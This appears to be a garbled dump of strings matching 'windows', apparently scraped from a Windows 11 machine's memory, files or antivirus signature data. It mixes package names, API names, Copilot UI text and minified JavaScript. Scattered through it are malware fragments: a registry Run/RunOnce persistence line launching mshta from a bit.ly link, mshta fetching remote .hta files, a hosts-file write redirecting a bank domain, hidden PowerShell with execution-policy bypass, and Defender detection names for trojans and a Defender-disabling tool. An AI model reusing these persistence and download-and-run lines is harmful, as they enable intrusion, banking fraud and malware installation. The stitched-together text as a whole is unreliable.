           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/7"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap4="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"
           xmlns:uap8="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
14^WINDOWS.BACKGROUNDTASKS
C:\WINDOWS\system32\Javass91.exemt-canete.sites.uol.com.br/secdemo.jpg
C:\WINDOWS\system32\Javass92.exe
c:\windows
c:\windows\system32\
      <xs:enumeration value="windowsApp"/>
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows\assembly
windows\microsoft.net
\$windows.\
\windows.\
\winpe\windows\
lotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.Th
onecoreuap\shell\windows.system.launcher\lib\windows.system.private.queryassociations.cpp
onecoreuap\shell\windows.system.launcher\lib\windows.system.private.launcherqueryinfo.cpp
windows version@
windows 64@
windows 32~
what version of windows do i have:wux:what version of windows do i haveM
1AAA_SettingsGroupPCSystemWindowsInfo
Swindows activation>
-AAA_SettingsGroupPCSystemWindowsInfo
Swindows activate?
/AAA_SettingsGroupPCSystemWindowsInfo
!AAA_SettingsGroupPCSystemWindowsInfo
-AAA_SettingsGroupPCSystemWindowsInfo
Sactivate windows:
windows restoreN
Microsoft.Windows.CellCore.MobileBroadband.MBNApi
Pbanking.shinhan.com>>c:/windows/system32/drivers/etc/hostsecho
+I$exec=$wscript->exec('c:\\windows\\system32\\cmd.exe/c'.$cmd)
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
get_WindowStyle
set_WindowStyle
WindowStyle
65^windows.appExtension
48^windows.protocol
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\system32\svchost.exe -k osprivacy -p
OS=Windows_NT
Windows.ApplicationModel.Contacts.ContactJobInfo
Windows.ApplicationModel.Contacts.ContactLaunchActionVerbs
Windows.ApplicationModel.Contacts.ContactLocationField
Windows.ApplicationModel.Contacts.ContactManager
Windows.ApplicationModel.Contacts.ContactPhone
Windows.ApplicationModel.Contacts.ContactPicker
Windows.ApplicationModel.Contacts.ContactQueryOptions
Windows.ApplicationModel.Contacts.ContactSignificantOther
Windows.ApplicationModel.Contacts.ContactWebsite
Windows.ApplicationModel.Contacts.FullContactCardOptions
wmi.execquery(select*fromwin32_computersystem);win32_process.getobject();win32_processstartup.getobject();setpropvalue.commandline("c:\programfiles\windowsmail\wabmig.exe")
Microsoft.Windows.ParentalControls_cw5n1h2txyewy-Out-Blocks
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy-In-Allow-Intranet-Authenticate^
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy-Out-Allow-Intranet-Authenticate
e.setrequestheader("user-agent","mozilla/5.0(windowsnt6.1;wow64;rv:54.0)gecko/20100101firefox/54.0")
@@v?]regadd"hkcu\software\microsoft\windows\currentversion\run"/v"
EnumChildWindows
onecoreuap\shell\windows.system.launcher\lib\windows.system.launcher.cpp
onecoreuap\shell\windows.system.launcher\inc\common.h
onecoreuap\shell\windows.system.launcher\lib\appurivalidationhelpers.cpp
onecoreuap\shell\windows.system.launcher\lib\launcherservice.cpp
onecoreuap\shell\windows.system.launcher\launcherappservicelib\lib\windows.internal.system.appservicelauncher.cpp
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\", """m" + "s" + "h" + "t" + "a""""https:\\bit.ly/
Microsoft.Windows.LifetimeManager.AppStateTransition
Microsoft.Windows.Search.Indexer.PluginIsolation
WINDOWS11
\\WINDOWS11\root\cimv2:Win32_NetworkAdapter.DeviceID="0"
\\WINDOWS11\root\cimv2:Win32_NetworkAdapterConfiguration.Index=0
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
The Win32_NTDomain class represents a NT Domain. A domain is a single security boundary of a Windows NT computer network. Active Directory is made up of one or more domains. On a standalone workstation, the domain is the computer itself. A domain can span more than one physical location. Every domain has its own security policies and security relationships with other domains.  When multiple domains are connected by trust relationships and share a common schema, configuration, and global catalog, you have a domain tree. Multiple domain trees can be connected together into a forest. All the domains in a forest also share a common schema, configuration, and global catalog.
The DcSiteName property indicates the name of the site where the domain controller is located. This value may be NULL if the domain controller is not in a site (for example, the domain controller is a Windows NT 4.0 domain controller).
The GUID of the domain. This member will be zero if the domain controller does not have a Domain GUID (for example, the domain controller is not a Windows 2000 domain controller).
Directory Service (DS) flag indicating that the domain controller is running the Windows Time service for the domain.
windir=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
USERNAME=WINDOWS11$
COMPUTERNAME=WINDOWS11
TMP=C:\WINDOWS\TEMP
(@APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.applicationextension.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.filetypeassociationlauncherinfo.cpp
C:\WINDOWS\system32\svchost.exe -k appmodel -p
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
9N438MZHD3ZF9390SimonKnuth.ScannerforWindows10_69n05hp4v3s90Simon Knuth
9MSMLRH6LZF3Microsoft.WindowsNotepad_8wekyb3d8bbweMicrosoft Corporation
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
vwindows.forms.systeminformation]::virtualscreen;
Windows Help System for X32 w
Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
SystemRoot=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
TEMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
windir=C:\WINDOWS
windows.hlp`
windows.hlp`
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-OneCore-MinInput-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.tileview-custom.cpp
windows loader.exeinstall trial keynon-genuine trialproductkey!#OFN:hh.exe
SFmicrosoft.windows.help.hhhh.pdbd
wmicrosoft.windows.certsrv.certutilcertutil.pdbcertutil -importcert -?!#ALF:Trojan:Win32/Injector.MFP!MTB
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.TlgAggregateInternal
	start/minpowershell.exe-windowstylehidden
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
IsProcessInIsolatedWindowsEnvironment failed
IsProcessInIsolatedWindowsEnvironment
48^windows.search{
Microsoft-Windows-EditionPack-Professional-
WINDOWS11
WINDOWS11
WINDOWS11
!#ALF:AGGR:SuspSystem32File.B!dha
!NID:SuspSystem32Clean
System.Windows.Forms.IKeyboardToolTip.GetOwnerWindow
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.GetWindow
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.GetWindow
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceObject.GetWindow
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceActiveObject.GetWindow
System.Windows.Forms.UnsafeNativeMethods.IOleWindow.GetWindow
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.HwndGetWindow
System.Windows.Forms.UnsafeNativeMethods.IOleClientSite.OnShowWindow
UnhookWindowsHookEx
SetWindowsHookEx
System.Windows.Forms.UnsafeNativeMethods.IPersistStreamInit.GetSizeMax
6start menu\programs\startup\windows.lnktest_folder\resourcesit's goodtemp_test.testerc:\users\lenovo\source\repos\junk_code_lost_filesd
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
-&{Vhkcu:\\software\\microsoft\\windows\\currentversion\\run
="""powershell.exe""-windowstylehidden-executionpolicybypass-file""
SOFTWARE\Microsoft\Windows\Current^
system32\imglogY
9P49LKR1V2Q5Expeditions: A MudRunner Game (Windows)https://store-images.s-microsoft.com/image/apps.1644.14597110433860134.e1b00ab2-df20-4549-ae9c-6d23606372a7.cac901f1-1098-414c-a8e4-2b3ad5c0d7a1en
9P49LKR1V2Q5Expeditions: A MudRunner Game (Windows)https://store-images.s-microsoft.com/image/apps.1644.14597110433860134.e1b00ab2-df20-4549-ae9c-6d23606372a7.cac901f1-1098-414c-a8e4-2b3ad5c0d7a1fr`
Microsoft.Windows.DeviceManagement.DcSvc
Microsoft.Windows.DeviceManagement.ConfigLock
Microsoft.Windows.DeviceManagement.OmaDmApiProvider
Microsoft.Windows.DeviceManagement.SessionManagement
Microsoft.Windows.DeviceManagement.OmaDmClient
Microsoft.Windows.DeviceManagement.OMADMPRC
Microsoft.Windows.EnterpriseManagement.ResourceManager
Microsoft.Windows.EnterpriseManagement.ResourceManagerUnenrollHook
Microsoft.Windows.DeviceManagement.DmAccCsp
Microsoft.Windows.DeviceManagement.DevInfo
Microsoft.Windows.DeviceManagement.DevDetailCsp
Microsoft-Windows-DeviceManagement-W7NodeProcessor
Microsoft.Windows.DeviceManagement.SecurityPolicyCsp
Microsoft.Windows.EnterpriseManagement.DeclaredConfiguration
Microsoft.Windows.EnterpriseManagement.PolicyManager
Microsoft.Windows.EnterpriseManagement.ConfigManagerHook
Microsoft.Windows.DeviceManagement.ConfigManager2
Microsoft.Windows.EMPS.Enrollment
Microsoft.Windows.EnterpriseManagement.Enrollment
Microsoft.Windows.DeviceManagement.AdmxIngestion
windowstrustedrtproxy
WindowsTrustedRTProxy.NT
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
temRoot%\system32\mswsock.dl|
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
$)\\windows defender(?: advanced threat protection)?y
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Behavior:Linux/TaintWindowsShareAccessed.A
ws\System32\Drivers
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
1MicrosoftWindows.Client.CBS_cw5n1h2txyewy-In-Allow-Internet
%Y2V:Arnim_Rupp/HKTL_NET_GUID_Disable_Windows_Defende#
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.16
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.17
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.18
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.19
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.20
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.21
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.22
Global.WindowsMigration.AppXx0dcv1p0apffyaezj0ejz1ef041tk0es.mca
Global.WindowsPeopleExperience.AppXpkzme2jr11ysrte06wck8kyezwk1pbfx.mca
Global.WindowsPeopleExperience.AppXr294thyq69q9stfx19eg6rwxw938b35a.wwa
Global.WindowsPersonaCard.AppX6vcm33xz1vnzertraheqrmah45wqcb0h.wwa
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
WindowsDwmCoreTests
WC:\WINDOWS\system32\vssvc.exe   - User: Name: NT AUTHORITY\SYSTEM, SID:S-1-5-18 
 @Windows.Data.Platform.Encryption.StructureValue
 @Windows.Data.Background.DesktopWallpaper
 @Windows.Data.PlaceholderTileLogo
 @Windows.Data.Platform.Partitioning.PartitionSet
 @Windows.Data.Platform.Encryption.FieldValue
 @Windows.Data.SampleMetadata.SampleData
 @Windows.Data.Platform.Encryption.ComplexValue
 @CloudData.WindowsClient.CloudDataAvailableWnf
 @Windows.Data.Shell.FocusSessionActiveTheme
 @Windows.Data.Platform.Encryption.ScalarValue
 @Windows.Data.Shell.FocusSessionOffTheme
 @Windows.Data.Shell.FocusActiveSessions
 @ItemReference<Windows.Data.PlaceholderTileLogo>
 @Windows.Data.Security.Vault.SettingUnit
 @Windows.Data.BlueLightReduction.Settings
 @Windows.Data.BlueLightReduction.ScheduleTime
 @Windows.Data.Input.Devices.MouseSyncedSettings
 @Windows.Data.Platform.Partitioning.Partition
 @Windows.Data.Security.Vault.WebCredentials
 @Windows.Data.PlaceholderTileCollectionLocal
 @Windows.Data.DeviceSettings.DeviceSettingsData
 @Windows.Data.Platform.ItemReference<bond.Void>
 @Windows.Data.NetworkUX.VPN.VPNSharingSettings
 @Windows.Data.WindowsBackup.Preference.Toggles
 @Windows.Data.Account.SecondaryAccounts
 @Windows.Data.UnifiedTile.StartTileProperties
 @Windows.Data.PlaceholderTileLocal
 @CloudData.WindowsClient.CloudDataAvailableWnf
 @CloudData.WindowsClient.CloudDataAvailableWnf
Microsoft.Windows.PeopleExperienceHost9
Microsoft.Windows.NarratorQuickStart
    <xs:attribute name="ServerName" type="t:ST_AsciiWindowsId" use="optional"/>
c:\windows\system32\cmd.ex
WindowsGetStringRawBuffer
Microsoft.Windows.XGpuEjectDialog.AppXp7aa4b9certnda7tg336nyjffpy2xn28.mcar
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!App
	-windowstylehidden-wait}$
/"#cleanuppreviousoutputif(test-path$outputfile){remove-item-path$outputfile-force}#runqsocketandlogoutput$process=start-process-filepath"powershell.exe"`-argumentlist"-executionpolicybypass-windowstylehidden-command
onecore\windows\accessibletech\common\wineventsmanager.cpp
onecore\windows\accessibletech\common\WorkerThread.h
onecore\windows\accessibletech\common\basiccoreuiutils.cpp
onecore\windows\accessibletech\common\containermanagerapi.cpp
onecore\windows\accessibletech\common\basicutils.cpp
onecore\windows\accessibletech\common\ICrossMachineCommunicationServices.h
onecore\windows\accessibletech\common\hvsicontainerapi.cpp
onecore\windows\accessibletech\common\sharedblock.cpp
onecore\windows\accessibletech\common\crossmachinecommunicationservices.cpp
c:\windows\system32\
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
w]software\microsoft\windows\currentversion\homegroup\publishedmessageofflinecachetmp.binSDataAKey!#HSTR:TrojanDownloader:Win32/Banload.AGT
c:\windows\system32\mshta.exehttps://cdn.glitch.global/32745c25-95b3-4320-bd45-bc78ea11e6d2/sxnvc.hta?v=1
c:\windows\system32\mshta.exehttps://yandex-drive.petition-change.org/file_preview/commecrial_list.pdf-f
"9C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result_macros.h
pyi-windows-manifest-fi_
https://www.bing.com/rp/dHPNHuOOMxkp1MQQa5rwdEMiUgQ.br.jsvar WSB;(function(n){function p(n,t){return n===t?!0:n&&t?g(n.attributes,t.attributes)&&w(n.parameters,t.parameters):!1}function w(t,i){return t===i?!0:t&&i?t.placeholderText==i.placeholderText&&t.lightGleamDataOrUrl==i.lightGleamDataOrUrl&&t.darkGleamDataOrUrl==i.darkGleamDataOrUrl&&t.gleamSize==i.gleamSize&&t.win11ShowForMillis==i.win11ShowForMillis&&t.targetSurface==i.targetSurface&&t.gleamAltText==i.gleamAltText&&t.gleamClickEndpoint==i.gleamClickEndpoint&&t.gleamTooltip==i.gleamTooltip&&(!n.config.msbDsbCheckExpireInGleamDeduplicate||d(t.expirationTime,i.expirationTime)):!1}function b(n,t){return n===t?!0:n&&t?(n===null||n===void 0?void 0:n.telemetryId)===(t===null||t===void 0?void 0:t.telemetryId):!1}function d(t,i){const r=t instanceof Date?t.getTime():typeof t=="number"?t:undefined,u=i instanceof Date?i.getTime():typeof i=="number"?i:undefined;if(typeof r=="number"&&typeof u=="number"){const t=Math.abs(r-u);return n.config.msbDsbLogGleamDeduplicate&&_w.bfbWsbTel&&bfbWsbTel.logValue("GleamDedupChecking",t),t<k}return!1}function g(n,t){return n===t?!0:n&&t?n.gleamFormat==t.gleamFormat&&n.contentKey==t.contentKey:!1}function it(n){var i;const r=((i=n===null||n===void 0?void 0:n.toLowerCase())===null||i===void 0?void 0:i.indexOf("/th?"))>=0?tt:nt,t=n===null||n===void 0?void 0:n.match(r);return(t===null||t===void 0?void 0:t.length)>0?t[1]:""}function i(n){let i=undefined,r=undefined;switch(n.dsbSection){case 0:n.isNewDSBUI?(i=420,r=572):n.isFullWidthDSB?(i=420,r=236):(i=!n.isWindows11?392:424,r=!n.isWindows11?221:240);break;case 1:if(r=!n.isWindows11?154:96,r=!!n.isWindows11&&!!n.enbFullCta?154:r,n.isNewDSBUI)switch(n.dsbScenario){case t.DailyQuiz:i=420;r=160;break;case t.OnThisDay:i=420;r=284;break;case t.AiTools:i=32;r=32;break;default:i=210;r=142}else n.isTwoCta?n.isFullWidthDSB?i=204:(i=!n.isWindows11?190:206,i=!!n.isWindows11&&!!n.enbFullCta?190:i):n.isFullWidthDSB?i=132:(i=!n.isWindows11?124:134,i=!!n.isWindows11&&!!n.enbFullCta?124:i);break;case 2:switch(n.dsbScenario){case t.NewsAnswer:r=92;i=128;break;case t.TrendingVideo:n.isFullWidthDSB?n.isOnLeftColumn?(i=188,r=110):(i=125,r=75):(i=!n.isWindows11?180:124,r=!n.isWindows11?102:70);break;case t.ShortVideos:i=144;r=152;break;case t.NewsTrendingTopics:i=!n.isWindows11?140:124;r=!n.isWindows11?96:70;break;case t.ArticleCarousel:case t.TrendingStories:i=!n.isWindows11?140:124;r=!n.isWindows11?100:90;break;case t.ImageFeed:case t.CustomContent:case t.CustomContent_Mega:i=!n.isWindows11?140:124;r=!n.isWindows11?170:150;break;case t.TrendingSearch:i=32;r=32;break;case t.RewardsDailySet:r=56;i=56;break;default:n.isFullWidthDSB?(i=80,r=80):(i=!n.isWindows11?86:90,r=!n.isWindows11?86:90)}}return{width:i,height:r}}function u(t){const i={width:210,height:142},{uxTemplateName:o,cardSize:s}=t,r=n.config===null||n.config===void 0?void 0:n.config.DSBTemplateImgDimensionKeys;if(!o||!s||!Array.isArray(r)||r.length===0)return i;const l=f(r,o),a=h(l),c=ut(a,s);if(!c)return i;const[v,y]=c.split("x"),u=Number(v),e=Number(y);return{width:Number.isFinite(u)&&u>0?u:i.width,height:Number.isFinite(e)&&e>0?e:i.height}}function f(n,t){if(!t||!Array.isArray(n)||n.length===0)return undefined;for(const i of n){const n=i.indexOf(":");if(!(n<=0)){const r=i.substring(0,n);if(r===t)return i.substring(n+1)}}return undefined}function ut(n,t){var i;return!Array.isArray(n)||n.length===0?undefined:(i=f(n,t))!==null&&i!==void 0?i:f(n,"default")}function h(t){return!t||typeof n.config!="object"||n.config===null?undefined:n.config[t]}function r(t,i,r,u,f=1,e=1,o=0){return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockImages)?`/snrtest/image?width=${r||200}&height=${u||200}`:`${i}/th?id=${t}${r?`&w=${r}`:""}${u?`&h=${u}`:""}&c=${f}&rs=${e}&p=${o}`}function ft(t,r,u,f=1,e=1,o=0){const{width:s,height:h}=i(r);return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockImages)?`/snrtest/image?width=${s||200}&height=${h||200}`:`${u}/th?id=${t}${s?`&w=${U
GetProcessWindowStation
LockWindowStation
EnableWindowShellWindowManagementBehavior
EnumChildWindows
EnumDesktopWindows
EnumThreadWindows
EnumWindowStationsA
EnumWindowStationsW
EnumWindows
ExitWindowsEx
ArrangeIconicWindows
CascadeChildWindows
CascadeWindows
CloseWindowStation
CreateWindowStationA
CreateWindowStationW
DisableProcessWindowsGhosting
DisplayExitWindowsWarnings
WINDOWS11
ync_instance@U?$IAsyncOperation@UIInputStream@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAAXAEAVRuntime@jsi@facebook@@$$QEAUcontinuation@34@@Z@QEBA?AV?$function@$$A6AXXZ@std@@PEAU34@01@Z@@rnwinrt@@
.?AU?$move_only_lambda@V<lambda_1>@?1???R1?1??handle_continuation@?$projected_async_instance@U?$IAsyncOperation@UIRandomAccessStreamWithContentType@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAAXAEAVRuntime@jsi@facebook@@$$QEAUcontinuation@34@@Z@QEBA?AV?$function@$$A6AXXZ@std@@PEAU34@01@Z@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UUser@System@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIPropertySet@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIRandomAccessStreamReference@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@W4UserAgeConsentResult@System@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@W4LaunchUriStatus@System@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@ULaunchUriResult@System@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UUser@System@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@W4LaunchQuerySupportStatus@System@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UAppInfo@ApplicationModel@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
